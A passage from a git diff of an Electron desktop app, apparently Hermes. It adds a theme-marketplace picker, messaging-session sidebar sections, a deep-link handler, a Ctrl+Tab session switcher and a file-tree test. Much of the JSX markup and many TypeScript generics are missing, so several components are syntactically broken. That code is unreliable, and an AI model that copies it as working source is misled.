+ * pipeline as the settings importer, then activates it — and stays open so the
+ * user can grab several.
+ */
+
+import { useQuery } from '@tanstack/react-query'
+import { useEffect, useState } from 'react'
+
+import { HUD_ITEM, HUD_TEXT } from '@/app/floating-hud'
+import type { DesktopMarketplaceSearchItem } from '@/global'
+import { useI18n } from '@/i18n'
+import { triggerHaptic } from '@/lib/haptics'
+import { Check, Download, Loader2, Palette } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+import { installVscodeThemeFromMarketplace } from '@/themes/install'
+
+const compactNumber = new Intl.NumberFormat(undefined, { notation: 'compact', maximumFractionDigits: 1 })
+
+function useDebounced(value: T, delayMs: number): T {
+ const [debounced, setDebounced] = useState(value)
+
+ useEffect(() => {
+ const handle = setTimeout(() => setDebounced(value), delayMs)
+
+ return () => clearTimeout(handle)
+ }, [value, delayMs])
+
+ return debounced
+}
+
+interface MarketplaceThemePageProps {
+ search: string
+ /** Activate a freshly installed theme by slug. */
+ onPickTheme: (name: string) => void
+}
+
+export function MarketplaceThemePage({ search, onPickTheme }: MarketplaceThemePageProps) {
+ const { t } = useI18n()
+ const copy = t.commandCenter.installTheme
+ const debouncedSearch = useDebounced(search.trim(), 300)
+ const [installingId, setInstallingId] = useState(null)
+ const [installed, setInstalled] = useState>({})
+ const [installError, setInstallError] = useState(null)
+
+ const query = useQuery({
+ queryKey: ['marketplace-themes', debouncedSearch],
+ queryFn: () => window.hermesDesktop?.themes?.searchMarketplace(debouncedSearch) ?? Promise.resolve([]),
+ staleTime: 5 * 60 * 1000
+ })
+
+ const install = async (item: DesktopMarketplaceSearchItem) => {
+ if (installingId) {
+ return
+ }
+
+ setInstallingId(item.extensionId)
+ setInstallError(null)
+
+ try {
+ const theme = await installVscodeThemeFromMarketplace(item.extensionId)
+
+ triggerHaptic('crisp')
+ setInstalled(prev => ({ ...prev, [item.extensionId]: true }))
+ onPickTheme(theme.name)
+ } catch (error) {
+ setInstallError(error instanceof Error ? error.message : copy.error)
+ } finally {
+ setInstallingId(null)
+ }
+ }
+
+ if (query.isLoading) {
+ return } text={copy.loading} />
+ }
+
+ if (query.isError) {
+ return
+ }
+
+ const results = query.data ?? []
+
+ if (results.length === 0) {
+ return
+ }
+
+ return (
+
+ {installError &&
{installError}
}
+ {results.map(item => {
+ const busy = installingId === item.extensionId
+ const done = installed[item.extensionId]
+
+ return (
+
void install(item)}
+ onMouseDown={event => event.preventDefault()}
+ role="option"
+ type="button"
+ >
+
+
+ {item.displayName}
+
+ {item.publisher}
+ {item.installs > 0 ? ` · ${copy.installs(compactNumber.format(item.installs))}` : ''}
+
+
+
+ {busy ? (
+ <>
+
+ {copy.installing}
+ >
+ ) : done ? (
+ <>
+
+ {copy.installed}
+ >
+ ) : (
+ <>
+
+ {copy.install}
+ >
+ )}
+
+
+ )
+ })}
+
+ )
+}
+
+function Status({ icon, text, tone }: { icon?: React.ReactNode; text: string; tone?: 'error' }) {
+ return (
+
+ {icon}
+ {text}
+
+ )
+}
diff --git a/apps/desktop/src/app/desktop-controller.tsx b/apps/desktop/src/app/desktop-controller.tsx
index bd80fa269fc2..f74eb6ebbff0 100644
--- a/apps/desktop/src/app/desktop-controller.tsx
+++ b/apps/desktop/src/app/desktop-controller.tsx
@@ -11,9 +11,16 @@ import { Pane, PaneMain } from '@/components/pane-shell'
import { useMediaQuery } from '@/hooks/use-media-query'
import { useSkinCommand } from '@/themes/use-skin-command'
+import { requestComposerFocus, requestComposerInsert } from './chat/composer/focus'
import { formatRefValue } from '../components/assistant-ui/directive-text'
import { getCronJobs, getSessionMessages, listAllProfileSessions, type SessionInfo, triggerCronJob } from '../hermes'
import { preserveLocalAssistantErrors, toChatMessages } from '../lib/chat-messages'
+import {
+ isMessagingSource,
+ LOCAL_SESSION_SOURCE_IDS,
+ MESSAGING_SESSION_SOURCE_IDS,
+ normalizeSessionSource
+} from '../lib/session-source'
import { setCronFocusJobId, setCronJobs } from '../store/cron'
import {
$panesFlipped,
@@ -44,12 +51,14 @@ import {
$currentCwd,
$freshDraftReady,
$gatewayState,
+ $messagingSessions,
$selectedStoredSessionId,
$sessions,
$workingSessionIds,
CRON_SECTION_LIMIT,
getRecentlySettledSessionIds,
mergeSessionPage,
+ MESSAGING_SECTION_LIMIT,
sessionPinId,
setAwaitingResponse,
setBusy,
@@ -59,12 +68,17 @@ import {
setCurrentModel,
setCurrentProvider,
setMessages,
+ setMessagingPlatformTotals,
+ setMessagingSessions,
+ setMessagingTruncated,
setSessionProfileTotals,
setSessions,
setSessionsLoading,
- setSessionsTotal
+ setSessionsTotal,
+ sessionMatchesStoredId
} from '../store/session'
import { openUpdatesWindow, startUpdatePoller, stopUpdatePoller } from '../store/updates'
+import { isSecondaryWindow } from '../store/windows'
import { ChatView } from './chat'
import { useComposerActions } from './chat/hooks/use-composer-actions'
@@ -86,6 +100,8 @@ import { RightSidebarPane } from './right-sidebar'
import { $terminalTakeover } from './right-sidebar/store'
import { PersistentTerminal, TerminalSlot } from './right-sidebar/terminal/persistent'
import { CRON_ROUTE, NEW_CHAT_ROUTE, routeSessionId, sessionRoute, SETTINGS_ROUTE } from './routes'
+import { SessionPickerOverlay } from './session-picker-overlay'
+import { SessionSwitcher } from './session-switcher'
import { useContextSuggestions } from './session/hooks/use-context-suggestions'
import { useCwdActions } from './session/hooks/use-cwd-actions'
import { useHermesConfig } from './session/hooks/use-hermes-config'
@@ -121,11 +137,22 @@ const SkillsView = lazy(async () => ({ default: (await import('./skills')).Skill
// this cadence while the app is open + visible so new runs surface promptly
// instead of waiting for the next user-triggered refreshSessions().
const CRON_POLL_INTERVAL_MS = 30_000
+// The recents list is local-only: cron rows have their own section, and each
+// messaging platform (telegram, discord, …) is fetched separately into its own
+// self-managed sidebar section (refreshMessagingSessions). Excluding both here
+// keeps "Load more" paging through interactive local chats instead of
+// interleaving gateway threads that bury them.
+const SIDEBAR_EXCLUDED_SOURCES = ['cron', ...MESSAGING_SESSION_SOURCE_IDS]
+// The messaging slice is the inverse: drop cron + every local source so only
+// external-platform conversations remain, then split per platform in the UI.
+const MESSAGING_EXCLUDED_SOURCES = ['cron', ...LOCAL_SESSION_SOURCE_IDS]
// Cheap signature compare so the poll only swaps the atom (and re-renders the
// sidebar) when the visible cron rows actually changed.
function sameCronSignature(a: SessionInfo[], b: SessionInfo[]): boolean {
- if (a.length !== b.length) {return false}
+ if (a.length !== b.length) {
+ return false
+ }
return a.every((session, i) => session.id === b[i]?.id && session.title === b[i]?.title)
}
@@ -201,7 +228,7 @@ export function DesktopController() {
toggleCommandCenter
} = useOverlayRouting()
- const terminalTakeoverActive = chatOpen && terminalTakeover
+ const terminalSidebarOpen = chatOpen && terminalTakeover
const titlebarToolGroups = useGroupRegistry()
const statusbarItemGroups = useGroupRegistry()
@@ -241,6 +268,31 @@ export function DesktopController() {
}
}, [])
+ // hermes:// deep links (e.g. a docs "Send to App" button for an automation blueprint).
+ // Build the equivalent /blueprint slash command from the payload and drop
+ // it into the composer — the user reviews/edits, then sends; the agent (or
+ // the shared command handler) creates the job. Signal readiness so a link
+ // that arrived during boot is flushed exactly once.
+ useEffect(() => {
+ const unsubscribe = window.hermesDesktop?.onDeepLink?.((payload) => {
+ if (!payload || payload.kind !== 'blueprint' || !payload.name) {
+ return
+ }
+ const slots = Object.entries(payload.params || {})
+ .map(([k, v]) => {
+ const sval = /\s/.test(v) ? `"${v.replace(/"/g, '\\"')}"` : v
+ return `${k}=${sval}`
+ })
+ .join(' ')
+ const command = `/blueprint ${payload.name}${slots ? ' ' + slots : ''}`
+ requestComposerInsert(command, { mode: 'block', target: 'main' })
+ requestComposerFocus('main')
+ })
+ // Tell the main process the renderer is ready to receive deep links.
+ void window.hermesDesktop?.signalDeepLinkReady?.()
+ return () => unsubscribe?.()
+ }, [])
+
useEffect(() => {
const onKeyDown = (event: KeyboardEvent) => {
if (!$filePreviewTarget.get() && !$previewTarget.get()) {
@@ -280,6 +332,51 @@ export function DesktopController() {
}
}, [])
+ // Messaging-platform sessions as their own slice, fetched separately from
+ // local recents so each platform renders a self-managed section and never
+ // competes with local chats for the recents page budget. One combined fetch
+ // seeds every platform; the sidebar splits the rows per source.
+ const refreshMessagingSessions = useCallback(async () => {
+ try {
+ const result = await listAllProfileSessions(MESSAGING_SECTION_LIMIT, 1, 'exclude', 'recent', 'all', {
+ excludeSources: MESSAGING_EXCLUDED_SOURCES
+ })
+
+ // Drop any non-messaging source the broad exclude didn't catch (custom
+ // sources) — those stay in local recents, not a platform section.
+ const rows = result.sessions.filter(s => isMessagingSource(s.source))
+
+ setMessagingSessions(prev => (sameCronSignature(prev, rows) ? prev : rows))
+ // Hit the cap → at least one platform may have more on disk than loaded,
+ // so platform sections offer their own per-platform "load more".
+ setMessagingTruncated(result.sessions.length >= MESSAGING_SECTION_LIMIT)
+ } catch {
+ // Non-fatal: the messaging sections just stay empty/stale.
+ }
+ }, [])
+
+ // Page a single platform's section independently (mirrors the per-profile
+ // pager): fetch that source's next window and merge it back in place, leaving
+ // every other platform's rows untouched. Resolves the platform's exact total.
+ const loadMoreMessagingForPlatform = useCallback(async (platform: string) => {
+ const inPlatform = (s: SessionInfo) => normalizeSessionSource(s.source) === platform
+ const loaded = $messagingSessions.get().filter(inPlatform).length
+
+ const result = await listAllProfileSessions(loaded + SIDEBAR_SESSIONS_PAGE_SIZE, 1, 'exclude', 'recent', 'all', {
+ source: platform
+ })
+
+ const incoming = result.sessions.filter(s => normalizeSessionSource(s.source) === platform)
+
+ setMessagingSessions(prev => [
+ ...prev.filter(s => !inPlatform(s)),
+ ...mergeSessionPage(prev.filter(inPlatform), incoming, sessionsToKeep())
+ ])
+
+ const total = result.total ?? incoming.length
+ setMessagingPlatformTotals(prev => ({ ...prev, [platform]: Math.max(total, incoming.length) }))
+ }, [])
+
// Cron *jobs* drive the sidebar "Cron jobs" section. Jobs are created
// synchronously (agent tool call or the cron UI), so refreshing here right
// after an agent turn surfaces a new job immediately; the interval poll keeps
@@ -316,7 +413,7 @@ export function DesktopController() {
const sessionProfile = profileScope === ALL_PROFILES ? 'all' : profileScope
const result = await listAllProfileSessions(limit, 1, 'exclude', 'recent', sessionProfile, {
- excludeSources: ['cron']
+ excludeSources: SIDEBAR_EXCLUDED_SOURCES
})
if (refreshSessionsRequestRef.current === requestId) {
@@ -332,7 +429,8 @@ export function DesktopController() {
void refreshCronSessions()
void refreshCronJobs()
- }, [profileScope, refreshCronSessions, refreshCronJobs])
+ void refreshMessagingSessions()
+ }, [profileScope, refreshCronSessions, refreshCronJobs, refreshMessagingSessions])
const loadMoreSessions = useCallback(() => {
bumpSessionsLimit()
@@ -347,12 +445,15 @@ export function DesktopController() {
const loaded = $sessions.get().filter(inKey).length
const result = await listAllProfileSessions(loaded + SIDEBAR_SESSIONS_PAGE_SIZE, 1, 'exclude', 'recent', key, {
- excludeSources: ['cron']
+ excludeSources: SIDEBAR_EXCLUDED_SOURCES
})
const keep = sessionsToKeep(key)
- setSessions(prev => [...prev.filter(s => !inKey(s)), ...mergeSessionPage(prev.filter(inKey), result.sessions, keep)])
+ setSessions(prev => [
+ ...prev.filter(s => !inKey(s)),
+ ...mergeSessionPage(prev.filter(inKey), result.sessions, keep)
+ ])
const total = result.profile_totals?.[key] ?? result.total ?? result.sessions.length
setSessionProfileTotals(prev => ({ ...prev, [key]: Math.max(total, result.sessions.length) }))
@@ -447,7 +548,9 @@ export function DesktopController() {
return
}
- const storedProfile = $sessions.get().find(session => session.id === storedSessionId)?.profile
+ const storedProfile = $sessions
+ .get()
+ .find(session => sessionMatchesStoredId(session, storedSessionId))?.profile
for (let index = 0; index < Math.max(1, attempts); index += 1) {
try {
@@ -613,19 +716,20 @@ export function DesktopController() {
submitText,
transcribeVoiceAudio
} = usePromptActions({
- activeSessionId,
- activeSessionIdRef,
- branchCurrentSession: branchInNewChat,
- busyRef,
- createBackendSessionForSend,
- handleSkinCommand,
- refreshSessions,
- requestGateway,
- selectedStoredSessionIdRef,
- startFreshSessionDraft,
- sttEnabled,
- updateSessionState
- })
+ activeSessionId,
+ activeSessionIdRef,
+ branchCurrentSession: branchInNewChat,
+ busyRef,
+ createBackendSessionForSend,
+ handleSkinCommand,
+ refreshSessions,
+ requestGateway,
+ resumeStoredSession: resumeSession,
+ selectedStoredSessionIdRef,
+ startFreshSessionDraft,
+ sttEnabled,
+ updateSessionState
+ })
useGatewayBoot({
handleGatewayEvent: handleDesktopGatewayEvent,
@@ -651,10 +755,14 @@ export function DesktopController() {
// in the background (advancing next-run/state and creating runs), so poll the
// job list on an interval (and on tab re-focus) while connected.
useEffect(() => {
- if (gatewayState !== 'open') {return}
+ if (gatewayState !== 'open') {
+ return
+ }
const tick = () => {
- if (document.visibilityState === 'visible') {void refreshCronJobs()}
+ if (document.visibilityState === 'visible') {
+ void refreshCronJobs()
+ }
}
const intervalId = window.setInterval(tick, CRON_POLL_INTERVAL_MS)
@@ -666,6 +774,13 @@ export function DesktopController() {
}
}, [gatewayState, refreshCronJobs])
+ useEffect(() => {
+ if (gatewayState === 'open' && !activeSessionId && freshDraftReady) {
+ void refreshCurrentModel()
+ void refreshHermesConfig()
+ }
+ }, [activeSessionId, freshDraftReady, gatewayState, refreshCurrentModel, refreshHermesConfig])
+
useRouteResume({
activeSessionId,
activeSessionIdRef,
@@ -684,6 +799,7 @@ export function DesktopController() {
const { leftStatusbarItems, statusbarItems } = useStatusbarItems({
agentsOpen,
+ chatOpen,
commandCenterOpen,
extraLeftItems: statusbarItemGroups.flat.left,
extraRightItems: statusbarItemGroups.flat.right,
@@ -704,6 +820,7 @@ export function DesktopController() {
currentView={currentView}
onArchiveSession={sessionId => void archiveSession(sessionId)}
onDeleteSession={sessionId => void removeSession(sessionId)}
+ onLoadMoreMessaging={loadMoreMessagingForPlatform}
onLoadMoreProfileSessions={loadMoreSessionsForProfile}
onLoadMoreSessions={loadMoreSessions}
onManageCronJob={jobId => {
@@ -721,27 +838,35 @@ export function DesktopController() {
/>
)
+ // One PTY-backed terminal mounted forever; placeholders decide
+ // where it shows. Lives in main's stacking context (not the root overlay layer)
+ // so pane resize handles still paint above it. Toggling never rebuilds the shell.
+ const mainOverlays = (
+
+ )
+
const overlays = (
<>
-
- {/* One PTY-backed terminal mounted forever; placeholders
- decide where it shows. Toggling fullscreen never rebuilds the shell. */}
-
- {
- void refreshHermesConfig()
- void refreshCurrentModel()
- void queryClient.invalidateQueries({ queryKey: ['model-options'] })
- }}
- requestGateway={requestGateway}
- />
+ {!isSecondaryWindow() && }
+ {!isSecondaryWindow() && (
+ {
+ void refreshHermesConfig()
+ void refreshCurrentModel()
+ void queryClient.invalidateQueries({ queryKey: ['model-options'] })
+ }}
+ requestGateway={requestGateway}
+ />
+ )}
+
+
{settingsOpen && (
@@ -829,12 +954,6 @@ export function DesktopController() {
/>
)
- const takeoverTerminalView = (
-
-
-
- )
-
// Flipped layout mirrors the default: sessions sidebar → right, file
// browser + preview rail → left. Same panes, swapped sides.
const sidebarSide = panesFlipped ? 'right' : 'left'
@@ -879,33 +998,56 @@ export function DesktopController() {
)
+ const terminalPane = (
+
+ )
+
return (
-
+ {!isSecondaryWindow() && (
+
+ )}
-
-
+
+
@@ -942,11 +1084,13 @@ export function DesktopController() {
{/*
Order within a side maps to column order. Default (rail on the right):
- main | preview | file-browser. Flipped (rail on the left): mirror it to
- file-browser | preview | main so preview stays adjacent to the chat.
+ main | terminal | preview | file-browser. Flipped (rail on the left):
+ mirror to file-browser | preview | terminal | main so terminal stays
+ adjacent to the chat.
*/}
- {panesFlipped ? fileBrowserPane : previewPane}
- {panesFlipped ? previewPane : fileBrowserPane}
+ {panesFlipped ? fileBrowserPane : terminalPane}
+ {previewPane}
+ {panesFlipped ? terminalPane : fileBrowserPane}
)
}
diff --git a/apps/desktop/src/app/floating-hud.ts b/apps/desktop/src/app/floating-hud.ts
new file mode 100644
index 000000000000..1c499b4a08aa
--- /dev/null
+++ b/apps/desktop/src/app/floating-hud.ts
@@ -0,0 +1,22 @@
+// Shared chrome for the top-center floating HUDs (command palette + session
+// switcher). They pin just under the title bar, centered, and lean on a crisp
+// border + shadow to separate from the app — no dimming/blurring backdrop.
+// Each caller layers on its own z-index, width, and overflow.
+export const HUD_POSITION = 'fixed left-1/2 top-3 -translate-x-1/2'
+
+// Matches the app's borderless-overlay surface (dialog, keybind panel, …):
+// hairline `--stroke-nous` paired with the soft `--shadow-nous` float.
+export const HUD_SURFACE = 'rounded-xl border border-(--stroke-nous) bg-(--ui-chat-bubble-background) shadow-nous'
+
+// One row/text size for both HUDs (compact — two notches under `text-sm`).
+export const HUD_TEXT = 'text-xs'
+
+// Shared item layout + padding for both HUDs. Tight vertical rhythm so rows
+// don't feel chunky; overrides the shadcn `CommandItem` default (`px-2 py-1.5`).
+export const HUD_ITEM = 'gap-2 px-2 py-1'
+
+// Section headings styled like the sidebar panel labels: brand-tinted, uppercase,
+// tightly tracked — plain text, no sticky chrome bar. Targets the cmdk group
+// heading via the universal-descendant variant.
+export const HUD_HEADING =
+ '**:[[cmdk-group-heading]]:static **:[[cmdk-group-heading]]:bg-transparent **:[[cmdk-group-heading]]:px-2.5 **:[[cmdk-group-heading]]:pb-1 **:[[cmdk-group-heading]]:pt-2.5 **:[[cmdk-group-heading]]:text-[0.64rem] **:[[cmdk-group-heading]]:font-semibold **:[[cmdk-group-heading]]:uppercase **:[[cmdk-group-heading]]:tracking-[0.16em] **:[[cmdk-group-heading]]:text-(--theme-primary)'
diff --git a/apps/desktop/src/app/gateway/hooks/use-gateway-boot.ts b/apps/desktop/src/app/gateway/hooks/use-gateway-boot.ts
index b9bfbf021e91..593e7a36f748 100644
--- a/apps/desktop/src/app/gateway/hooks/use-gateway-boot.ts
+++ b/apps/desktop/src/app/gateway/hooks/use-gateway-boot.ts
@@ -3,6 +3,7 @@ import { useEffect, useRef } from 'react'
import type { HermesConnection } from '@/global'
import { HermesGateway } from '@/hermes'
import { translateNow } from '@/i18n'
+import { desktopDefaultCwd } from '@/lib/desktop-fs'
import { isGatewayReauthRequired, resolveGatewayWsUrl } from '@/lib/gateway-ws-url'
import {
$desktopBoot,
@@ -25,11 +26,16 @@ import {
import { notify, notifyError } from '@/store/notifications'
import { $activeGatewayProfile, normalizeProfileKey, touchActiveGatewayBackend } from '@/store/profile'
import {
+ $activeSessionId,
$attentionSessionIds,
$connection,
+ $currentCwd,
$sessions,
$workingSessionIds,
+ ensureDefaultWorkspaceCwd,
setConnection,
+ setCurrentBranch,
+ setCurrentCwd,
setSessionsLoading
} from '@/store/session'
import type { RpcEvent } from '@/types/hermes'
@@ -351,6 +357,12 @@ export function useGatewayBoot({
message: translateNow('boot.steps.loadingSettings'),
progress: 97
})
+ await ensureDefaultWorkspaceCwd()
+ const remoteDefault = await desktopDefaultCwd().catch(() => null)
+ if (remoteDefault?.cwd && !$activeSessionId.get() && !$currentCwd.get()) {
+ setCurrentCwd(remoteDefault.cwd)
+ setCurrentBranch(remoteDefault.branch || '')
+ }
await callbacksRef.current.refreshHermesConfig()
if (cancelled) {
diff --git a/apps/desktop/src/app/hooks/use-keybinds.ts b/apps/desktop/src/app/hooks/use-keybinds.ts
index a38afa6cea8d..1f02dccfec36 100644
--- a/apps/desktop/src/app/hooks/use-keybinds.ts
+++ b/apps/desktop/src/app/hooks/use-keybinds.ts
@@ -1,10 +1,10 @@
import { useEffect, useRef } from 'react'
import { useNavigate } from 'react-router-dom'
-import { setRightSidebarTab } from '@/app/right-sidebar/store'
+import { $terminalTakeover, setTerminalTakeover } from '@/app/right-sidebar/store'
import { PANE_TOGGLE_REVEAL_EVENT } from '@/components/pane-shell'
import { matchesQuery } from '@/hooks/use-media-query'
-import { PROFILE_SLOT_COUNT } from '@/lib/keybinds/actions'
+import { PROFILE_SLOT_COUNT, SESSION_SLOT_COUNT } from '@/lib/keybinds/actions'
import { comboAllowedInInput, comboFromEvent, isEditableTarget } from '@/lib/keybinds/combo'
import { toggleCommandPalette } from '@/store/command-palette'
import { $capture, $comboIndex, endCapture, setBinding, toggleKeybindPanel } from '@/store/keybinds'
@@ -18,13 +18,25 @@ import {
toggleSidebarOpen
} from '@/store/layout'
import {
+ $newChatProfile,
cycleProfile,
requestProfileCreate,
switchProfileToSlot,
switchToDefaultProfile,
toggleShowAllProfiles
} from '@/store/profile'
-import { $activeSessionId, $sessions, setModelPickerOpen } from '@/store/session'
+import { setModelPickerOpen } from '@/store/session'
+import {
+ $switcherOpen,
+ closeSwitcher,
+ commitOnCtrlUp,
+ onSwitcherTabDown,
+ onSwitcherTabUp,
+ openOrAdvanceSwitcher,
+ slotSessionId,
+ switcherActive,
+ switcherJustClosed
+} from '@/store/session-switcher'
import { useTheme } from '@/themes/context'
import { requestComposerFocus } from '../chat/composer/focus'
@@ -60,6 +72,7 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
// Keep the latest closures without re-subscribing the listener.
const handlersRef = useRef({})
+ const commitSwitcherRef = useRef<() => void>(() => {})
const profileSwitchHandlers: HandlerMap = {}
@@ -67,26 +80,32 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
profileSwitchHandlers[`profile.switch.${slot}`] = () => switchProfileToSlot(slot)
}
- // Move to the adjacent session in recency order, wrapping at the ends.
- const cycleSession = (direction: 1 | -1) => {
- const sessions = $sessions.get()
-
- if (sessions.length < 2) {
- return
+ const goToSession = (sessionId: null | string) => {
+ if (sessionId) {
+ navigate(sessionRoute(sessionId))
}
+ }
- const current = sessions.findIndex(session => session.id === $activeSessionId.get())
- const start = current === -1 ? (direction === 1 ? -1 : 0) : current
- const next = sessions[(start + direction + sessions.length) % sessions.length]
+ // ^N jumps straight to the Nth recent session and dismisses the switcher.
+ const sessionSlotHandlers: HandlerMap = {}
- if (next) {
- navigate(sessionRoute(next.id))
+ for (let slot = 1; slot <= SESSION_SLOT_COUNT; slot += 1) {
+ sessionSlotHandlers[`session.slot.${slot}`] = () => {
+ closeSwitcher()
+ goToSession(slotSessionId(slot))
}
}
- const showRightSidebarTab = (tab: 'files' | 'terminal') => {
+ commitSwitcherRef.current = () => goToSession(commitOnCtrlUp())
+
+ const stepSession = (direction: 1 | -1) => {
+ onSwitcherTabDown()
+ goToSession(openOrAdvanceSwitcher(direction))
+ }
+
+ const showFiles = () => {
setFileBrowserOpen(true)
- setRightSidebarTab(tab)
+ setTerminalTakeover(false)
}
handlersRef.current = {
@@ -106,11 +125,16 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
'nav.agents': () => navigate(AGENTS_ROUTE),
'session.new': () => {
+ // Match the sidebar New Session button. A plain keyboard new chat should
+ // target the current live profile, not a stale per-profile quick-create
+ // selection from a prior action.
+ $newChatProfile.set(null)
deps.startFreshSession()
window.dispatchEvent(new CustomEvent('hermes:new-session-shortcut'))
},
- 'session.next': () => cycleSession(1),
- 'session.prev': () => cycleSession(-1),
+ 'session.next': () => stepSession(1),
+ 'session.prev': () => stepSession(-1),
+ ...sessionSlotHandlers,
'session.focusSearch': requestSessionSearchFocus,
'session.togglePin': deps.toggleSelectedPin,
@@ -128,8 +152,8 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
toggleFileBrowserOpen()
}
},
- 'view.showFiles': () => showRightSidebarTab('files'),
- 'view.showTerminal': () => showRightSidebarTab('terminal'),
+ 'view.showFiles': showFiles,
+ 'view.showTerminal': () => setTerminalTakeover(!$terminalTakeover.get()),
'view.flipPanes': togglePanesFlipped,
'appearance.toggleMode': () => setMode(resolvedMode === 'dark' ? 'light' : 'dark'),
@@ -170,6 +194,16 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
return
}
+ // While the session switcher is up, Esc abandons it (stay put) before any
+ // combo dispatch — ⌃Tab keeps stepping through the existing handler.
+ if (switcherActive() && event.key === 'Escape') {
+ event.preventDefault()
+ event.stopPropagation()
+ closeSwitcher()
+
+ return
+ }
+
const combo = comboFromEvent(event)
if (!combo) {
@@ -196,8 +230,39 @@ export function useKeybinds(deps: KeybindRuntimeDeps): void {
handler()
}
- window.addEventListener('keydown', onKeyDown, { capture: true })
+ // Mac-app-switcher commit: lifting Ctrl with the overlay open lands on the
+ // highlighted session. A window blur (Cmd+Tab away mid-switch) cancels so
+ // the overlay never gets stranded waiting for a keyup that never comes.
+ const onKeyUp = (event: KeyboardEvent) => {
+ if (event.key === 'Tab') {
+ onSwitcherTabUp()
+ }
+
+ if (event.key === 'Control') {
+ commitSwitcherRef.current()
+ }
+ }
+
+ const onBlur = () => switcherActive() && closeSwitcher()
+
+ // Swallow trailing contextmenu after Ctrl+click commit (Electron main menu).
+ const onContextMenu = (event: MouseEvent) => {
+ if ($switcherOpen.get() || switcherJustClosed()) {
+ event.preventDefault()
+ event.stopPropagation()
+ }
+ }
- return () => window.removeEventListener('keydown', onKeyDown, { capture: true })
+ window.addEventListener('keydown', onKeyDown, { capture: true })
+ window.addEventListener('keyup', onKeyUp, { capture: true })
+ window.addEventListener('blur', onBlur)
+ window.addEventListener('contextmenu', onContextMenu, { capture: true })
+
+ return () => {
+ window.removeEventListener('keydown', onKeyDown, { capture: true })
+ window.removeEventListener('keyup', onKeyUp, { capture: true })
+ window.removeEventListener('blur', onBlur)
+ window.removeEventListener('contextmenu', onContextMenu, { capture: true })
+ }
}, [])
}
diff --git a/apps/desktop/src/app/right-sidebar/files/dnd-manager.ts b/apps/desktop/src/app/right-sidebar/files/dnd-manager.ts
new file mode 100644
index 000000000000..07f4d2f87fac
--- /dev/null
+++ b/apps/desktop/src/app/right-sidebar/files/dnd-manager.ts
@@ -0,0 +1,27 @@
+import { createDragDropManager, type DragDropManager } from 'dnd-core'
+import { HTML5Backend } from 'react-dnd-html5-backend'
+
+let manager: DragDropManager | null = null
+
+/**
+ * A single, app-lifetime react-dnd manager for the file tree.
+ *
+ * react-arborist mounts its own react-dnd `DndProvider` with `HTML5Backend`
+ * inside every ``. react-dnd v14 stores that provider's manager on a
+ * global, ref-counted singleton context and nulls it when the count hits 0.
+ * On a keyed remount (cwd / collapse changes force a fresh ``), the
+ * singleton can be torn down and recreated while the previous `HTML5Backend`
+ * still owns the `window.__isReactDndHtml5Backend` setup flag — so the new
+ * backend's `setup()` throws "Cannot have two HTML5 backends at the same
+ * time." and trips the file-tree error boundary (it never recovers, because
+ * "Try again" just remounts into the same race).
+ *
+ * Passing arborist a stable `dndManager` makes it skip the global-singleton
+ * path entirely and reuse one backend for the lifetime of the app, so the
+ * window flag is never double-claimed.
+ */
+export function getFileTreeDndManager(): DragDropManager {
+ manager ??= createDragDropManager(HTML5Backend)
+
+ return manager
+}
diff --git a/apps/desktop/src/app/right-sidebar/files/ipc.test.ts b/apps/desktop/src/app/right-sidebar/files/ipc.test.ts
new file mode 100644
index 000000000000..bcaddad55b5b
--- /dev/null
+++ b/apps/desktop/src/app/right-sidebar/files/ipc.test.ts
@@ -0,0 +1,100 @@
+///
+
+import { Buffer } from 'node:buffer'
+
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import type { HermesReadDirEntry, HermesReadDirResult } from '@/global'
+
+import { clearProjectDirCache, readProjectDir } from './ipc'
+
+const readDir = vi.fn<(path: string) => Promise>()
+const readFileDataUrl = vi.fn<(path: string) => Promise>()
+const gitRoot = vi.fn<(path: string) => Promise>()
+
+function ok(entries: HermesReadDirEntry[]): HermesReadDirResult {
+ return { entries }
+}
+
+function dataUrl(text: string) {
+ return `data:text/plain;base64,${Buffer.from(text, 'utf8').toString('base64')}`
+}
+
+function installBridge() {
+ ;(
+ window as unknown as {
+ hermesDesktop: {
+ gitRoot: typeof gitRoot
+ readDir: typeof readDir
+ readFileDataUrl: typeof readFileDataUrl
+ }
+ }
+ ).hermesDesktop = { gitRoot, readDir, readFileDataUrl }
+}
+
+describe('readProjectDir', () => {
+ beforeEach(() => {
+ clearProjectDirCache()
+ readDir.mockReset()
+ readFileDataUrl.mockReset()
+ gitRoot.mockReset()
+ installBridge()
+ })
+
+ afterEach(() => {
+ clearProjectDirCache()
+ delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
+ })
+
+ it('returns no-bridge when the desktop bridge is unavailable', async () => {
+ delete (window as unknown as { hermesDesktop?: unknown }).hermesDesktop
+
+ await expect(readProjectDir('/repo')).resolves.toEqual({ entries: [], error: 'no-bridge' })
+ })
+
+ it('filters gitignored entries when readDir returns Windows-style paths', async () => {
+ gitRoot.mockResolvedValue('C:\\repo')
+ readDir.mockImplementation(async path => {
+ if (path === 'C:\\repo\\src') {
+ return ok([
+ { name: 'debug.log', path: 'C:\\repo\\src\\debug.log', isDirectory: false },
+ { name: '临时.txt', path: 'C:\\repo\\src\\临时.txt', isDirectory: false },
+ { name: 'keep.ts', path: 'C:\\repo\\src\\keep.ts', isDirectory: false }
+ ])
+ }
+
+ if (path === 'C:/repo') {
+ return ok([{ name: '.gitignore', path: 'C:/repo/.gitignore', isDirectory: false }])
+ }
+
+ if (path === 'C:/repo/src') {
+ return ok([])
+ }
+
+ return ok([])
+ })
+ readFileDataUrl.mockResolvedValue(dataUrl('# Unicode 路径规则\nsrc/*.log\nsrc/临时.txt\n'))
+
+ const result = await readProjectDir('C:\\repo\\src', 'C:\\repo')
+
+ expect(result.entries.map(entry => entry.name)).toEqual(['keep.ts'])
+ expect(gitRoot).toHaveBeenCalledWith('C:/repo')
+ expect(readFileDataUrl).toHaveBeenCalledWith('C:/repo/.gitignore')
+ })
+
+ it('does not fetch .gitignore contents when listings do not contain .gitignore', async () => {
+ gitRoot.mockResolvedValue('/repo')
+ readDir.mockImplementation(async path => {
+ if (path === '/repo/src') {
+ return ok([{ name: 'debug.log', path: '/repo/src/debug.log', isDirectory: false }])
+ }
+
+ return ok([])
+ })
+
